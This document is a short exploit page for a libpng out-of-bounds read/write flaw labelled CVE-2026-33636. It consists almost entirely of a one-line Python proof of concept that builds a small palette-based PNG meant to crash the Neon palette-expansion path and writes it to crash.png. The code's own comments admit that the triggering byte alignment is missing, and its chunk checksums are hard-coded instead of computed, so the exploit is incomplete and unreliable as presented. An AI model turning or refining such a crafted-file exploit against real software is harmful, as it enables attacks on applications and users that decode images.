CVE-2026-33636 libpng越界读写漏洞

import struct def create_malicious_png(): # PNG Signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR Chunk: Width=1, Height=1, Bit depth=8, Color type=3 (Indexed color) # This setup targets the palette expansion path ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 3, 0, 0, 0) ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', 0x594C3D5D) # PLTE Chunk: Minimal palette (Red) plte_data = b'\xFF\x00\x00' plte_chunk = struct.pack('>I', 3) + b'PLTE' + plte_data + struct.pack('>I', 0x9BF620E9) # IDAT Chunk: Scanline data # Filter byte (0) + Index (0) idat_data = b'\x00\x00' # Compressing the data (simplified for PoC structure, real zlib compression needed for valid PNG) # In a real exploit, specific byte alignment is calculated to trigger the OOB in the Neon loop. import zlib compressed_idat = zlib.compress(idat_data) idat_chunk = struct.pack('>I', len(compressed_idat)) + b'IDAT' + compressed_idat + struct.pack('>I', 0x7A0D3A9B) # IEND Chunk iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) return png_sig + ihdr_chunk + plte_chunk + idat_chunk + iend_chunk with open('crash.png', 'wb') as f: f.write(create_malicious_png()) print('Malicious PNG generated.')